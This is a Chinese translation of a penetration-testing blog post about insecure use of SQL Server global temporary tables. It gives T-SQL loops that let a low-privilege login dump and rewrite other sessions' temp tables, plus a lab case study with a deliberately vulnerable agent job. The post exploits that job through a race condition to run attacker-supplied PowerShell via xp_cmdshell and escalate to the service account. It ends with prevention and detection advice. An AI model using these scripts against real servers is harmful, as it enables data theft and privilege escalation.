在网络和应用程序渗透测试期间,SQL Server 全局临时表通常不是关注的焦点。 然而,它们被开发人员周期性地不安全地用来存储敏感数据和代码块,这些数据和代码块可以被非特权用户访问。 在本博客中,我将介绍全局临时表是如何工作的,并分享一些我们在实际应用程序中用于识别和进行漏洞利用的技术。
如果你不想通读所有的东西,你可以选择跳过:
· 实验室设置
· 练习1: 表变量
· 源代码审计
· 监控全局临时表
实验室设置
1. 安装 SQL Server。 我们将要介绍的大多数场景都可以使用 SQL Server Express 执行,但是如果你想要跟随案例研究,你需要使用一个支持代理作业的商业版本。
2. 以系统管理员身份登录到 SQL Server
3. 创建一个最小特权登录
-- Create server login CREATE LOGIN [basicuser] WITH PASSWORD = 'Password123!';
什么是全局临时表?
在 SQL Server 中临时存储数据的方法有很多,但临时表似乎是最流行的方法之一。 根据我所看到的,开发人员通常使用三种类型的临时表,包括表变量、局部临时表和全局临时表。 每种方法都有其优点、缺点和特殊的用途,但全局临时表往往会造成最大的风险,因为它们可以被任何 SQL Server 用户读取和修改。 因此,使用全局临时表通常会导致竞争条件漏洞,最低特权用户可以利用这些条件获得对数据和特权的未授权访问。
临时表是如何工作的?
在本节中,我提供了一个入门知识,介绍了如何创建三种类型的临时表、它们存储在哪里以及谁可以访问它们。 为了开始学习,让我们使用 sysadmin 登录进入 SQL Server,并检查三种类型的临时表。
所有临时表都存储在 tempdb 数据库中,可以使用下面的查询列出。
SELECT * FROM tempdb.sys.objects WHERE name like '#%';
SQL Server 中的所有用户都可以执行上面的查询,但是用户对所显示的表的访问权很大程度上取决于表的类型和范围。
下面是每种类型的临时表的作用域摘要。
有了这个基础,让我们来学习一些 TSQL 练习,以帮助更好地理解每个范围边界。
练习一: 表变量
表变量仅限于当前用户活动会话中的一个查询批处理。 它们不能被其他查询批处理或其他活动用户会话访问。 因此,数据不太可能泄露给非特权用户。
下面是在同一批处理中引用表变量的示例。
-- Create table variable If not Exists (SELECT name FROM tempdb.sys.objects WHERE name = 'table_variable') DECLARE @table_variable TABLE (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); -- Insert records into table variable INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') INSERT INTO @table_variable (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') -- Query table variable in same batch SELECT * FROM @table_variable GO
从上面的图片可以看出,我们能够在同一批查询中查询表变量。 但是,当我们使用“ GO”将表创建和表数据选择分成两批时,我们可以看到表变量在其原始批处理作业之外不可再被访问。 下面是一个例子。
希望这有助于说明表变量的范围限制,但你可能仍然想知道它们是如何存储的。 创建表变量时,它使用以“ # ”开头的名称并随机生成字符存储在 tempdb 中。 下面的查询可用于筛选所使用的表变量。
SELECT * FROM tempdb.sys.objects WHERE name not like '%[_]%' AND (select len(name) - len(replace(name,'#',''))) = 1
练习二: 局部临时表
与表变量一样,局部临时表也仅限于当前用户的活动会话,但不限于单个批处理。 由于这个原因,它们比表变量提供了更多的灵活性,但是仍然不会增加意外数据暴露的风险,因为其他活跃用户会话不能访问它们。 下面是一个基本示例,演示如何在同一会话中跨不同的查询批次创建和访问局部临时表。
-- Create local temporary table IF (OBJECT_ID('tempdb..#LocalTempTbl') IS NULL) CREATE TABLE #LocalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); -- Insert records local temporary table INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') INSERT INTO #LocalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') GO -- Query local temporary table SELECT * FROM #LocalTempTbl GO
从上面的图像中可以看到,仍然可以跨多个查询批次访问表数据。 与表变量类似,所有定制的局部临时表都需要以“ # ”开头。 除了你可以给他们起任何你想起的名字。 它们也存储在 tempdb 数据库中,但 SQL Server 会在表名的末尾附加一些附加信息,以便对会话的访问受到限制。 让我们看看新表“ #LocalTempTbl”在 tempdb 中的样子,下面是查询语句。
SELECT * FROM tempdb.sys.objects WHERE name like '%[_]%' AND (select len(name) - len(replace(name,'#',''))) = 1
上面我们可以看到我们创建的名为“ #LocalTempTbl”的表,其中附加了一些附加的会话信息。 所有用户都可以看到该临时表名称,但只有创建该临时表的会话才能访问其内容。 看起来,会话 id 随着每个会话被添加到服务器的结束增量中,你实际上可以使用全名从会话中查询该表。 下面是一个例子。
SELECT * FROM tempdb..[ #LocalTempTbl_______________________________________________________________________________________________________000000000007]
但是,如果你试图从其他用户的会话访问该临时表,则会得到如下错误。
无论如何,当你完成了局部临时表的所有操作后,可以通过终止会话或使用下面的命令显式执行删除它的操作。
DROP TABLE #LocalTempTbl
练习三: 全局临时表
准备好升级了吗? 与局部临时表类似,你可以通过单独的批处理查询创建和访问全局临时表。 最大的区别是所有活动用户会话都可以查看和修改全局临时表。 让我们看看下面的一个基本例子。
-- Create global temporary table IF (OBJECT_ID('tempdb..##GlobalTempTbl') IS NULL) CREATE TABLE ##GlobalTempTbl (Spy_id INT NOT NULL, SpyName text NOT NULL, RealName text NULL); -- Insert records global temporary table INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (1,'Black Widow','Scarlett Johansson') INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt','Tom Cruise') INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') GO -- Query global temporary table SELECT * FROM ##GlobalTempTbl GO
上面我们可以看到,我们能够跨不同的查询批次查询全局临时表。 所有定制的全局临时表都需要以“##”开头。 除了你可以给他们起任何你想起的名字。 它们也存储在 tempdb 数据库中。 让我们看看新表“##GlobalTempTbl”在 tempdb 中的样子,下面是查询的语句。
SELECT * FROM tempdb.sys.objects WHERE (select len(name) - len(replace(name,'#',''))) > 1
你可以看到,SQL Server 不会像对局部临时表那样将任何与会话相关的数据附加到表名称中,因为它的目的是供所有会话使用。 让我们使用我们创建的“ basicuser”登录进入另一个会话,以显示这是可能的。
如你所见,如果全局临时表包含敏感数据,那么它现在就向所有 SQL Server 用户公开。
如何找到易受攻击的全局临时表?
当你知道表名称时,很容易锁定全局临时表,但大多数安全审计人员和攻击者不知道易受攻击的全局临时表在哪里。 因此,在本节中,我将介绍几种盲目查找易受攻击的全局临时表的方法。
· 如果你是特权用户,请审计源代码。
· 如果你是非特权用户,则监视全局临时表。
源代码审计
如果你作为系统管理员或具有其他特权角色的用户登录到 SQL Server,则可以直接查询每个数据库的代理作业、存储过程、函数和触发器的 TSQL 源代码。 你应该能够过滤字符串“ ## ”的查询结果,以识别 TSQL 中全局临时表的使用情况。 有了筛选后的列表,你应该能够查看相关的 TSQL 源代码,并确定在哪些条件下全局临时表容易受到攻击。
下面是一些到 TSQL 查询模板的链接,可以对你有所帮助:
· 代理作业
· 存储过程
· DDL 触发器
值得注意的是, PowerUpSQL 还支持可用于查询该信息的函数。 这些功能包括:
· Get-SQLAgentJob
· Get-SQLStoredProcedure
· Get-SQLTriggerDdl
· Get-SQLTriggerDml
如果我们总是能够查看源代码就好了,但是事实是大多数攻击者不会一开始就拥有 sysadmin 特权。 所以,当你发现自己处于那种状态时,是时候改变你的方法了。
监控全局临时表
现在,让我们从最小特权的角度来讨论如何盲目地识别全局临时表。 在前面的部分中,我们展示了如何列出临时表名并查询它们的内容。 然而,我们对这些列并不是很了解。 所以在下面我扩展了原来的查询,以包括这些信息。
-- List global temp tables, columns, and column types SELECT t1.name as 'Table_Name', t2.name as 'Column_Name', t3.name as 'Column_Type', t1.create_date, t1.modify_date, t1.parent_object_id FROM tempdb.sys.objects AS t1 JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1
如果你没有删除“ ## GlobalTempTbl” ,那么在执行查询时应该会看到类似于下面的结果。
运行上面的查询可以深入了解当时正在使用的全局临时表,但是它不能帮助我们监视它们随着时间的推移的使用情况。 请记住,临时表通常只在短时间内使用,因此你不希望错过它们。
下面的查询是第一个查询的变体,每一秒都会提供一个全局临时表列表。 可以通过修改“ WAITFOR”语句来更改延迟,但要小心,不要让服务器负载过重。 如果你不确定正在做什么,那么这种技术应该只在非生产环境中进行实践。
-- Loop While 1=1 BEGIN SELECT t1.name as 'Table_Name', t2.name as 'Column_Name', t3.name as 'Column_Type', t1.create_date, t1.modify_date, t1.parent_object_id FROM tempdb.sys.objects AS t1 JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1 -- Set delay WaitFor Delay '00:00:01' END
正如你所看到的,查询将提供一个表名和列名的列表,我们可以在未来的攻击中使用它们,但是我们也可能希望监视全局临时表的内容,以了解我们的选项是什么。 下面是一个示例,但请记住,在可能的情况下使用“ WAITFOR”来限制监视。
-- Monitor contents of all Global Temp Tables -- Loop WHILE 1=1 BEGIN -- Add delay if required WAITFOR DELAY '0:0:1' -- Setup variables DECLARE @mytempname varchar(max) DECLARE @psmyscript varchar(max) -- Iterate through all global temp tables DECLARE MY_CURSOR CURSOR FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%' OPEN MY_CURSOR FETCH NEXT FROM MY_CURSOR INTO @mytempname WHILE @@FETCH_STATUS = 0 BEGIN -- Print table name PRINT @mytempname -- Select table contents DECLARE @myname varchar(max) SET @myname = 'SELECT * FROM [' + @mytempname + ']' EXEC(@myname) -- Next record FETCH NEXT FROM MY_CURSOR INTO @mytempname END CLOSE MY_CURSOR DEALLOCATE MY_CURSOR END
如你所见,上面的查询将监视全局临时表并显示其内容。 这种技术是一种很好的方法,可以盲目地从全局临时表中转储潜在的敏感信息,即使这些信息只存在一会儿。 但是,有时你也可能希望修改全局临时表的内容。 由于我们已经知道表和列的名称。 因此,监视正在创建的全局临时表并更新它们的内容是相当简单明了的。 下面是一个例子。
-- Loop forever WHILE 1=1 BEGIN -- Select table contents SELECT * FROM ##GlobalTempTbl -- Update global temp table contents DECLARE @mycommand varchar(max) SET @mycommand = 'UPDATE t1 SET t1.SpyName = ''Inspector Gadget'' FROM ##GlobalTempTbl t1' EXEC(@mycommand) END
正如你所看到的,表已经更新。 但是,你可能仍然在想,“为什么我要更改临时表的内容呢? ” . 为了帮助说明这种技术的价值,我在下一节中整理了一个简短的案例研究。
案例研究: 攻击一个易受攻击的代理作业
现在来点真正的乐趣。 下面我们将介绍易受攻击的代理作业的 TSQL 代码,并突出显示全局临时表的安全使用场景。 然后我们将使用前面讨论过的技术来利用这个缺陷。 要启动程序,请下载此 TSQL 脚本并将其作为系统管理员运行,以便在 SQL Server 实例上配置易受攻击的代理作业。
易受攻击的代理工作漫游
代理将每分钟执行一次 TSQL 作业,并执行以下过程:
该作业为 PowerShell 脚本生成一个输出文件路径,稍后将执行该脚本— Set filename for PowerShell script
Set @PsFileName = ''MyPowerShellScript.ps1''
— Set target directory for PowerShell script to be written to
SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''ErrorLogFileName'')) as VARCHAR(MAX)),''ERRORLOG'','''')
— Create full output path for creating the PowerShell script
SELECT @PsFilePath = @TargetDirectory + @PsFileName
该作业创建一个名为“@MyPowerShellCode”的字符串变量来存储PowerShell脚本。PowerShell代码简单地创建了一个文件“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput”。该文件包含字符串“hello world”。— Define the PowerShell code
SET @MyPowerShellCode = ''Write-Output "hello world" | Out–File "'' + @TargetDirectory + ''intendedoutput.txt"''
专业提示: SQL Server 和代理服务帐户始终具有对 SQL Server 安装的日志文件夹的写访问权。 有时在攻击行动中,它会派上用场。 你可以找到日志文件夹,查询如下:
SELECT SERVERPROPERTY('InstanceDefaultLogPath')
然后将包含PowerShell代码的“@MyPowerShellCode”变量插入到随机命名的全局临时表中。这就是开发人员开始出错的地方,因为创建该表之后,任何用户都可以查看和修改该表。— Create a global temp table with a unique name using dynamic SQL
SELECT @MyGlobalTempTable = ''##temp'' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000))
— Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table
SELECT @Command = ''
CREATE TABLE ['' + @MyGlobalTempTable + ''](MyID int identity(1,1), PsCode varchar(MAX))
INSERT INTO ['' + @MyGlobalTempTable + ''](PsCode)
SELECT @MyPowerShellCode''
— Execute that command
EXECUTE sp_ExecuteSQL @command, N''@MyPowerShellCode varchar(MAX)'', @MyPowerShellCode
然后使用 xp_cmdshell在操作系统上执行 bcp 。bcp是一个附带SQL Server的备份实用程序。在本例中,它用于作为SQL Server服务帐户连接到SQL Server实例,从全局临时表中选择PowerShell代码,并将PowerShell代码写入步骤1中定义的文件路径。— Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1
SELECT @Command = ''bcp "SELECT PsCode from ['' + @MyGlobalTempTable + '']'' + ''" queryout "''+ @PsFilePath + ''" -c -T -S '' + @@SERVERNAME— Write the file
EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT
接下来,再次使用 xpcmdshell 执行刚刚写入磁盘的 PowerShell 脚本— Run the PowerShell script
DECLARE @runcmdps nvarchar(4000)
SET @runcmdps = ''Powershell -C "$x = gc ''''''+ @PsFilePath + '''''';iex($X)"''
EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT
最后,使用 xpcmdshell 删除 PowerShell 脚本— Delete the PowerShell script
DECLARE @runcmddel nvarchar(4000)
SET @runcmddel= ''DEL /Q "'' + @PsFilePath +''"''
EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT
易受攻击的代理作业攻击
既然我们的易受攻击的代理作业已经在后台运行,那么让我们使用最小特权用户“ basicuser”登录来进行攻击。 下面是这次攻击的摘要。
首先,让我们看看是否可以使用前面的监视查询发现全局临时表的名称。 这个监视脚本被节流。 我不建议在生产环境中去掉节流,因为这会消耗大量的 CPU,而且会引发警报,因为 DBA 倾向于密切监视其生产服务器的性能。 与执行 xp_cmdshell 时相比,你更有可能得到一个导致服务器利用率达到80% 的捕异常。
-- Loop While 1=1 BEGIN SELECT t1.name as 'Table_Name', t2.name as 'Column_Name', t3.name as 'Column_Type', t1.create_date, t1.modify_date, t1.parent_object_id FROM tempdb.sys.objects AS t1 JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id WHERE (select len(t1.name) - len(replace(t1.name,'#',''))) > 1 -- Set delay WAITFOR DELAY '00:00:01' END
该作业的运行时间为一分钟,因此你可能需要等待59秒(或者你可以手动让作业在实验室中执行),但是最终你应该会看到类似下面的输出。
在这个示例中,表名“ ##temp800845”看起来是随机的,因此我们再次尝试监视并得到表名“ ##103919”。 它有一个不同的名称,但是它有相同的列。 这些信息足以让我们朝着正确的方向前进。
接下来,我们希望在删除全局临时表之前查看它的内容。 但是,我们不知道表的名称是什么。 为了解决这个问题,下面的查询将显示每个全局临时表的内容— Monitor contents of all Global Temp Tables
— Loop
While 1=1
BEGIN
— Add delay if required
WAITFOR DELAY '00:00:01'
— Setup variables
DECLARE @mytempname varchar(max)
DECLARE @psmyscript varchar(max)
— Iterate through all global temp tables
DECLARE MY_CURSOR CURSOR
FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
OPEN MY_CURSOR
FETCH NEXT FROM MY_CURSOR INTO @mytempname
WHILE @@FETCH_STATUS = 0
BEGIN
— Print table name
PRINT @mytempname
— Select table contents
DECLARE @myname varchar(max)
SET @myname = 'SELECT * FROM [' + @mytempname + ']'
EXEC(@myname)
— Next record
FETCH NEXT FROM MY_CURSOR INTO @mytempname
END
CLOSE MY_CURSOR
DEALLOCATE MY_CURSOR
END
从这里我们可以看到,全局临时表实际上包含 PowerShell 代码。 由此,我们可以猜测它是在某个时间点执行的。 因此,下一步是在 PowerShell 代码执行之前修改它。
同样,我们不知道表名是什么,但是我们知道列名。因此,我们可以修改步骤3中的查询,并更新全局临时表的内容,而不是简单地选择它的内容。在本例中,我们将更改“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\intendedoutput.txt”代码中定义的输出路径为“C:\程序文件\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt”。但是,你可以使用你最喜欢的PowerShell shellcode或任何你所喜欢的任意命令来替换这些代码。
— Create variables
DECLARE @PsFileName NVARCHAR(4000)
DECLARE @TargetDirectory NVARCHAR(4000)
DECLARE @PsFilePath NVARCHAR(4000)
— Set filename for PowerShell script
Set @PsFileName = 'finishline.txt'
— Set target directory for PowerShell script to be written to
SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY('ErrorLogFileName')) as VARCHAR(MAX)),'ERRORLOG','')
— Create full output path for creating the PowerShell script
SELECT @PsFilePath = @TargetDirectory + @PsFileName
— Loop forever
WHILE 1=1
BEGIN
— Set delay
WAITFOR DELAY '0:0:1'
— Setup variables
DECLARE @mytempname varchar(max)
— Iterate through all global temp tables
DECLARE MY_CURSOR CURSOR
FOR SELECT name FROM tempdb.sys.tables WHERE name LIKE '##%'
OPEN MY_CURSOR
FETCH NEXT FROM MY_CURSOR INTO @mytempname
WHILE @@FETCH_STATUS = 0
BEGIN
— Print table name
PRINT @mytempname
— Update contents of known column with ps script in an unknown temp table
DECLARE @mycommand varchar(max)
SET @mycommand = 'UPDATE t1 SET t1.PSCode = ''Write-Output "hello world" | Out-File "' + @PsFilePath + '"'' FROM ' + @mytempname + ' t1'
EXEC(@mycommand)
— Select table contents
DECLARE @mycommand2 varchar(max)
SET @mycommand2 = 'SELECT * FROM [' + @mytempname + ']'
EXEC(@mycommand2)
— Next record
FETCH NEXT FROM MY_CURSOR INTO @mytempname
END
CLOSE MY_CURSOR
DEALLOCATE MY_CURSOR
END
从上面的截图中可以看到,我们可以使用自定义 PowerShell 代码更新临时表内容。 为了确认我们成功利用了竞争条件缺陷,我们可以验证“C:\Program Files\Microsoft SQL Server\MSSQL12.SQLSERVER2014\MSSQL\Log\finishline.txt”文件是否已经创建。 注意: 如果使用不同版本的 SQL Server,则路径可能不同。
总之,我们利用 TSQL 代理作业中全局临时表的不安全使用,将权限从最低特权 SQL Server 登录升级到运行 SQL Server 代理服务的 Windows 操作系统帐户。
我能做些什么?
下面是一些基于我们这个小小的研究的基本建议,但是如果你有任何想法,请联系我们。 我很想听听其他人是怎么解决这个问题的。
预防
局临时表中的代码块
不要在全局临时表中存储敏感数据或代码块
如果需要跨多个会话访问数据,可以考虑使用内存优化的表。 根据我的实验室测试,它们可以提供类似的性能优势,而不必向非特权用户公开数据。 要了解更多信息看看微软的这篇文章.
检测
目前,我还没有一个很好的方法来监视潜在的恶意全局临时表访问。 但是,如果攻击者过于积极地监视全局临时表,那么 CPU 应该会出现峰值,你可能会在代价高昂的查询列表中看到它们的活动。 从那里,你应该能够通过session_id 和一个类似于下面的查询检测这种攻击行为:
SELECT status, session_id, login_time, last_request_start_time, security_id, login_name, original_login_name FROM [sys].[dm_exec_sessions]
总结
总之,使用全局临时表会产生竞争条件缺陷,最少权限的用户可以利用这些条件读取和修改关联的数据。 根据数据的使用方式,它可能会产生一些非常重大的安全隐患。 希望这些信息对那些试图让事情变得更好的建设者和破坏者是有用的。 不管怎样,享受乐趣,承担责任。
参考资料
https://docs.microsoft.com/en-us/sql/t-sql/statements/create-table-transact-sql
https://docs.microsoft.com/en-us/sql/t-sql/functions/serverproperty-transact-sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bcpxpcmdshell.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-GlobalTempTableColumns.sql
https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-GlobalTempTableData.sql